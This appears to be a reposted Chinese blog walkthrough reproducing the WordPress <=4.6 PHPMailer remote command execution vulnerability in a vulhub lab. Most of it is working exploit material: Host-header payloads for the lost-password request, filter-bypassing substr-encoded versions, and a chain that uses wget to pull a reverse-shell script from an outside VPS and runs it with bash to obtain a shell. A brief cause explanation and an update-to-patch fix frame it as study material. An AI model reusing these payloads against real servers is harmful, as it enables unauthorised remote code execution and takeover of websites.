wordpress<=4.6版本任意命令執行漏洞


漏洞簡述

當WordPress 使用 PHPMailer 組件向用戶發送郵件。攻擊者在找回密碼時會使用PHPmailer發送重置密碼的郵件,利用substr(字符串截取函數)、$run(系統調用函數)等構造payload,即可進行遠程命令執行。

0x00漏洞影響

  • WordPress <= 4.6.0
  • PHPMailer < 5.2.18

0x01漏洞原理

主要是phpmailer組件調用linux系統命令sendmail進行郵件發送,通過傳入的SERVER_NAME獲取主機名(即請求host值),而SERVER_NAME沒有經過任何過濾,從而產生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函數等進入繞過,構造payload。

0x02環境搭建

下載vulhub、docker-compose來一鍵搭建環境,vulhub鏈接:https://vulhub.org/#/environments/wordpress/pwnscriptum/

0x03漏洞復現

漏洞存在后台登錄地方的找回密碼頁面:http://192.168.1.160/wp-login.php?action=lostpassword

 

 

 我們輸入一個存在的用戶,然后點擊獲取新密碼,bp抓post包

 

 

 請求包的HOST處的參數值即是該漏洞的payload點。

該漏洞利用需要滿足以下幾點:

1.執行的命令不能包含一些特殊的字符,例如 :,',"和管道符等。
2.該命令將轉換為小寫字母
3.命令需要使用絕對路徑
4.需要知道一個現有的用戶名,這里是admin

需要注意:

該命令執行只在服務器端默默執行命令,不會顯示在客戶端響應界面

payload構造:

aa(any -froot@localhost -be ${run{/bin/touch /tmp/1.php}} null) //在/tmp下創建一個1.php
aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/shell 192.168.106.109/bash.sh}} null) //下載反彈命令腳本到/tmp下重命名為shell
aa(any -froot@localhost -be ${run{/bin/bash /tmp/shell}} null) //執行/tmp下的shell腳本

payload轉換規則:

1.payload中run{}里面所有 / 用 ${substr{0}{1}{$spool_directory}} 代替
2.payload中run{}里面所有 空格 用 ${substr{10}{1}{$tod_log}} 代替

上面的payload分別轉換為:

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}1.php}} null)
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}192.168.106.109${substr{0}{1}{$spool_directory}}bash.sh}} null)
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)

將最終轉化的payload分別拿到漏洞點去執行,觀察效果

第一個payload在/tmp下新建1.php

 

 在靶機上看看

 

 命令只會默認執行,而不會在客戶端顯示出來,那么我們就只能采用反彈shell的方式獲取到交互式shell來進行最終控制。

利用第二個payload從自己的外網vps上下載事先寫好的反彈shell的腳本到靶機上的/tmp目錄下,反彈到的目標為vps上。

 

 發包之后查看靶機上的/tmp目錄

 

 看到已經成功下載到了靶機上的/tmp目錄下,現在只需利用bash來執行這個shell腳本;

利用第三個payload來執行剛剛下載的反彈命令腳本,執行前需要在vps上進行監聽指定端口,這里為7777:

 

 

 

 burpsuite只要一發包,vps即可反彈上靶機的shell來

 

 這樣才達到了真正的利用該漏洞getshell了。

0x04漏洞修復

當然是更新wordpress、phpmailer到最新版本。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM